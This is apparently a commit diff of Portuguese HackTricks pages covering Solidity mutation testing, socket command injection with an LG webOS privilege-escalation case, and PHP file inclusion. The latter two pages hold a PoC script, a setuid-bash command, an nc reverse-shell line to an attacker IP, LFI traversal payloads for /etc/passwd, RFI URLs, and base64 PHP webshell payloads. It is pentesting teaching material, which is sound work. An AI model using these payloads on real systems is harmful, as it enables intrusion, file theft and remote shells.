Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/bloc

This commit is contained in:
Translator 2025-10-01 09:24:13 +00:00
parent 3cd9e5fd04
commit 88bc05a9e7
3 changed files with 208 additions and 170 deletions

View File

@ -1,10 +1,10 @@
# Teste de Mutação para Solidity com Slither (slither-mutate)
# Mutation Testing para Solidity com Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" ao introduzir sistematicamente pequenas alterações (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é eliminado. Se os testes ainda passarem, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que cobertura de linhas/ramificações não consegue detectar.
Mutation testing "tests your tests" ao introduzir sistematicamente pequenas mudanças (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é morto. Se os testes ainda passam, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que a cobertura de linha/ramificação não consegue detectar.
Ideia principal: a cobertura mostra que o código foi executado; o teste de mutação mostra se o comportamento foi realmente verificado.
Ideia-chave: a cobertura mostra que o código foi executado; mutation testing mostra se o comportamento está realmente sendo verificado.
## Por que a cobertura pode enganar
@ -18,24 +18,24 @@ return false;
}
}
```
Testes unitários que só verificam um valor abaixo e um valor acima do limiar podem alcançar 100% de cobertura de linhas/branches enquanto deixam de afirmar o limite de igualdade (==). Um refactor para `deposit >= 2 ether` ainda passaria tais testes, quebrando silenciosamente a lógica do protocolo.
Testes unitários que verificam apenas um valor abaixo e um valor acima do limite podem alcançar 100% de cobertura de linhas/branches enquanto falham em afirmar a igualdade (==). Uma refatoração para `deposit >= 2 ether` ainda passaria nesses testes, quebrando silenciosamente a lógica do protocolo.
O teste por mutação expõe essa lacuna ao alterar a condição e verificar se seus testes falham.
O teste de mutação expõe essa falha ao mutar a condição e verificar se seus testes falham.
## Operadores de mutação comuns em Solidity
## Operadores comuns de mutação em Solidity
O mecanismo de mutação do Slither aplica muitas edições pequenas que mudam a semântica, tais como:
O mecanismo de mutação do Slither aplica muitas pequenas alterações que mudam a semântica, tais como:
- Substituição de operador: `+``-`, `*``/`, etc.
- Substituição de atribuição: `+=``=`, `-=``=`
- Substituição de constantes: não-zero → `0`, `true``false`
- Negação/substituição de condição dentro de `if`/loops
- Negação/substituição de condição dentro de `if`/laços
- Comentar linhas inteiras (CR: Comment Replacement)
- Substituir uma linha por `revert()`
- Troca de tipos de dados: ex., `int128``int64`
- Trocas de tipo de dado: por exemplo, `int128``int64`
Objetivo: eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com raciocínio claro.
Objetivo: Eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com uma justificativa clara.
## Executando o teste por mutação com slither-mutate
## Executando testes de mutação com slither-mutate
Requisitos: Slither v0.10.2+.
@ -44,68 +44,68 @@ Requisitos: Slither v0.10.2+.
slither-mutate --help
slither-mutate --list-mutators
```
- Exemplo Foundry (capturar resultados e manter um log completo):
- Foundry exemplo (capturar resultados e manter um log completo):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Se você não usar Foundry, substitua `--test-cmd` pela forma como executa os testes (por exemplo, `npx hardhat test`, `npm test`).
- Se você não usa Foundry, substitua `--test-cmd` pela forma como executa os testes (por exemplo, `npx hardhat test`, `npm test`).
Artefatos e relatórios são armazenados em `./mutation_campaign` por padrão. Mutantes não capturados (sobreviventes) são copiados para lá para inspeção.
### Entendendo a saída
Linhas do relatório ficam assim:
As linhas do relatório têm o seguinte formato:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- A tag entre colchetes é o alias do mutador (por exemplo, `CR` = Comment Replacement).
- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → asserção faltando.
- A tag entre colchetes é o alias do mutator (e.g., `CR` = Comment Replacement).
- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → falta de asserção.
## Reduzindo o tempo de execução: priorize mutantes impactantes
## Reduzindo tempo de execução: priorize mutantes com impacto
Campanhas de mutação podem levar horas ou dias. Dicas para reduzir custo:
- Escopo: comece apenas com contratos/diretórios críticos, depois expanda.
- Priorize mutadores: se um mutante de alta prioridade em uma linha sobreviver (p.ex., linha inteira comentada), você pode pular variantes de prioridade menor para essa linha.
- Paralelize testes se seu runner permitir; faça cache de dependências/builds.
- Fail-fast: pare cedo quando uma mudança demonstrar claramente uma lacuna de asserção.
- Escopo: comece apenas com contratos/diretórios críticos e depois expanda.
- Priorize mutators: se um mutante de alta prioridade em uma linha sobreviver (e.g., a linha inteira comentada), você pode pular variantes de menor prioridade para essa linha.
- Paralelize os testes se seu runner permitir; faça cache de dependências/builds.
- Fail-fast: pare cedo quando uma mudança claramente demonstra uma lacuna de asserção.
## Fluxo de triagem para mutantes sobreviventes
1) Inspecione a linha mutada e o comportamento.
- Reproduza localmente aplicando a linha mutada e executando um teste focado.
2) Fortaleça os testes para afirmar o estado, não apenas valores de retorno.
- Adicione checagens de igualdade/limite (p.ex., teste de limiar `==`).
- Asserte pós-condições: saldos, total supply, efeitos de autorização e eventos emitidos.
2) Fortaleça os testes para asserir o estado, não apenas valores de retorno.
- Adicione checagens de igualdade/limite (e.g., testar threshold `==`).
- Asserte pós-condições: saldos, fornecimento total, efeitos de autorização e eventos emitidos.
3) Substitua mocks excessivamente permissivos por comportamento realista.
- Garanta que os mocks imponham transferências, caminhos de falha e emissões de eventos que ocorrem on-chain.
- Assegure que os mocks imponham transferências, caminhos de falha e emissões de eventos que ocorrem on-chain.
4) Adicione invariantes para fuzz tests.
- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, supply monotônico quando aplicável.
5) Execute novamente slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente.
5) Reexecute slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente.
## Estudo de caso: revelando asserções de estado ausentes (Arkis protocol)
## Estudo de caso: revelando asserções de estado ausentes (protocolo Arkis)
Uma campanha de mutação durante uma auditoria do protocolo Arkis DeFi revelou sobreviventes como:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Comentar a atribuição não quebrou os testes, comprovando a falta de assertivas de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar as transferências reais de tokens. Um atacante poderia dessincronizar transferências esperadas vs. reais para drenar fundos. Resultado: risco de alta severidade à solvência do protocolo.
Comentar a atribuição não quebrou os testes, provando que faltavam asserções de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar transferências reais de token. Um atacante poderia desincronizar as transferências esperadas e as reais para drenar fundos. Resultado: risco de alta gravidade para a solvência do protocolo.
Guidance: Trate mutantes sobreviventes que afetam transferências de valor, contabilidade ou controle de acesso como alto risco até serem eliminados.
Orientação: Considere mutantes sobreviventes que afetem transferências de valor, contabilidade ou controle de acesso como de alto risco até serem eliminados.
## Checklist prático
## Lista de verificação prática
- Execute uma campanha direcionada:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Classifique os mutantes sobreviventes e escreva testes/invariantes que falhariam sob o comportamento mutado.
- Asserte saldos, supply, autorizações e eventos.
- Adicione testes de fronteira (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Substitua mocks irrealistas; simule modos de falha.
- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e justificativas.
- Faça triagem dos survivors e escreva testes/invariantes que falhariam sob o comportamento mutado.
- Verifique saldos, fornecimento (supply), autorizações e eventos.
- Adicione testes de borda (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Substitua mocks irreais; simule modos de falha.
- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e rationale.
## Referências
@ -113,4 +113,4 @@ Guidance: Trate mutantes sobreviventes que afetam transferências de valor, cont
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Exemplo de ligação de socket com Python
## Socket binding example with Python
No exemplo a seguir, um **socket unix é criado** (`/tmp/socket_test.s`) e tudo o que é **recebido** será **executado** por `os.system`. Eu sei que você não vai encontrar isso na prática, mas o objetivo deste exemplo é ver como um código usando sockets unix se parece e como gerenciar a entrada no pior caso possível.
No exemplo a seguir, um **unix socket é criado** (`/tmp/socket_test.s`) e tudo o que for **recebido** será **executado** por `os.system`. Sei que você não vai encontrar isso em ambiente real, mas o objetivo deste exemplo é mostrar como um código que usa unix sockets se parece, e como lidar com a entrada no pior caso possível.
```python:s.py
import socket
import os, os.path
@ -35,4 +37,39 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Estudo de caso: elevação acionada por sinal em socket UNIX de propriedade do root (LG webOS)
Alguns daemons privilegiados expõem um socket UNIX de propriedade do root que aceita entrada não confiável e associa ações privilegiadas a thread-IDs e sinais. Se o protocolo permitir que um cliente não privilegiado influencie qual thread nativa é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar privilégios.
Padrão observado:
- Conectar-se a um socket de propriedade do root (por exemplo, /tmp/remotelogger).
- Criar uma thread e obter seu id nativo de thread (TID).
- Enviar o TID (empacotado) mais padding como uma requisição; receber um reconhecimento.
- Enviar um sinal específico para esse TID para acionar o comportamento privilegiado.
Esboço mínimo de PoC:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Para transformar isto em uma root shell, pode-se usar um padrão simples de named-pipe + nc:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Notas:
- Esta classe de bugs surge ao confiar em valores derivados do estado do cliente sem privilégios (TIDs) e vinculá-los a signal handlers ou lógica privilegiada.
- Mitigue exigindo credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de thread identifiers fornecidos externamente.
## Referências
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,10 @@
## File Inclusion
**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está **desativado** por padrão (**allow_url_include**).\
**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, o arquivo que será carregado pelo servidor.
A vulnerabilidade ocorre quando o usuário consegue, de alguma forma, controlar qual arquivo será carregado pelo servidor.
Funções **PHP** vulneráveis: require, require_once, include, include_once
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Misturando várias listas de LFI de \*nix e adicionando mais caminhos, criei esta:**
**Misturando várias listas \*nix LFI e adicionando mais paths, eu criei esta:**
{{#ref}}
@ -33,7 +33,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para
### **Windows**
Mesclagem de diferentes wordlists:
Fusão de diferentes wordlists:
{{#ref}}
@ -49,13 +49,13 @@ Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para ver
Verifique a lista de LFI do Linux.
## Basic LFI and bypasses
## Básico LFI e bypasses
Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences removidas de forma não recursiva
### sequências de traversal removidas não recursivamente
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass a adição de mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php")
Contornar a adição de mais caracteres no final da string fornecida (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Isso está **resolvido desde o PHP 5.4**
Isto está **resolvido desde o PHP 5.4**
### **Codificação**
@ -84,36 +84,36 @@ Talvez o back-end esteja verificando o caminho da pasta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando Diretórios do Sistema de Arquivos em um Servidor
### Explorando diretórios do sistema de arquivos em um servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade de diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
1. **Determinar a Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
1. **Determinar a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for Linux-based). Um exemplo de URL pode estar estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Verificar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma:
2. **Procurar por pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interprete os resultados:** A resposta do servidor indica se a pasta existe:
- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` está confirmada.
4. **Exploração recursiva:** Pastas descobertas podem ser sondadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais Local File Inclusion (LFI).
3. **Interprete os resultados:** A resposta do servidor indica se o diretório existe:
- **Erro / Sem saída:** O diretório `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença do diretório `private` está confirmada.
4. **Exploração Recursiva:** Diretórios descobertos podem ser investigados mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em locais diferentes no sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual esteja a uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Path truncation é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres extras ao final dos caminhos. O objetivo é construir um caminho que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, e `/etc/passwd/` são todos tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não altera o arquivo alvo.
- Da mesma forma, se `.php` é adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` ao final não alterará o arquivo acessado.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
```
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nesses cenários, o número de traversais necessários pode girar em torno de 2027, mas esse valor pode variar conforme a configuração do servidor.
Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar com base na configuração do servidor.
- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então até `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas que o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Starting with a Fake Directory**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
- **Uso de segmentos de ponto e caracteres adicionais**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
- **Determinando o número necessário de traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para chegar ao diretório raiz e então a `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Começar com um diretório falso**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
Ao empregar path truncation techniques, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
**Esta vulnerabilidade foi corrigida no PHP 5.3.**
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
No php, isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
No php isso está desabilitado por padrão porque **`allow_url_include`** está **Off.** Precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [segundo este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP b64 e obter RCE:
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
Outro exemplo **não usando o protocolo `php://`** seria:
>
> Outro exemplo **sem usar o protocolo `php://`** seria:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Elemento raiz em Python
## Python Elemento Root
Em Python, em um código como este:
Em python, em um código como este:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**:
Se o usuário passar um **absolute path** para **`file_name`**, o **previous path é simplesmente removido**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Isso é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Esse é o comportamento esperado de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
## Java Listar diretórios
## Java Listar Diretórios
Parece que se você tiver um Path Traversal em Java e você **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontece em outras linguagens (pelo que sei).
Parece que, se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, uma **listagem do diretório será retornada**. Isso não acontece em outras linguagens (afaik).
## Top 25 parâmetros
Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -215,14 +215,14 @@ Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local fil
### php://filter
PHP filters permitem executar operações básicas de **modificação nos dados** antes que eles sejam lidos ou escritos. Existem 5 categorias de filtros:
PHP filters permitem executar operações básicas de **modificação dos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
- Note that this filter has disappear from the modern versions of PHP
- Observe que este filtro desapareceu nas versões modernas do PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
@ -231,18 +231,18 @@ PHP filters permitem executar operações básicas de **modificação nos dados*
- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l`
> [!WARNING]
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muita informação)
- `zlib.inflate`: Descomprime os dados
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Depreciado
- `mdecrypt.*` : Depreciado
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Outros filtros
- Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
- `consumed`
- `dechunk`: reverte a codificação HTTP chunked
- `dechunk`: reverte HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> A parte "php://filter" é case insensitive
> A parte "php://filter" não diferencia maiúsculas de minúsculas
### Usando php filters como oracle para ler arquivos arbitrários
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa **boolean exfiltration of the file (caractere por caractere) usando php filters** como oracle. Isto porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica é baseada em uma **boolean exfiltration do arquivo (char por char) usando php filters** como oracle. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para o php lançar uma exceção.
No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente.
- Isto será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php vai disparar um **erro**
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro**
- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex.
- Isto, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no começo do texto vendo quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o php error é disparado porque ele multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak other chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o char inicial é um número é necessário codificá-lo em base64 e leak the 2 first letters para leak o número.
- Isso, combinado com o anterior (e outros filters dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não a deleta e o erro do php é disparado porque ele se multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o char inicial é um número é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de junk data no começo** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer pivotar com os próximos 2 bytes, e **deletar os dados até o junk data** (isto removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
- E para poder obter **further data** a ideia é **generate 2 bytes of junk data at the beginning** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-lo **pivot with the next 2 bytes**, e d**elete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
No post uma ferramenta para executar isto automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
No post também foi publicada uma ferramenta para executar isso automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
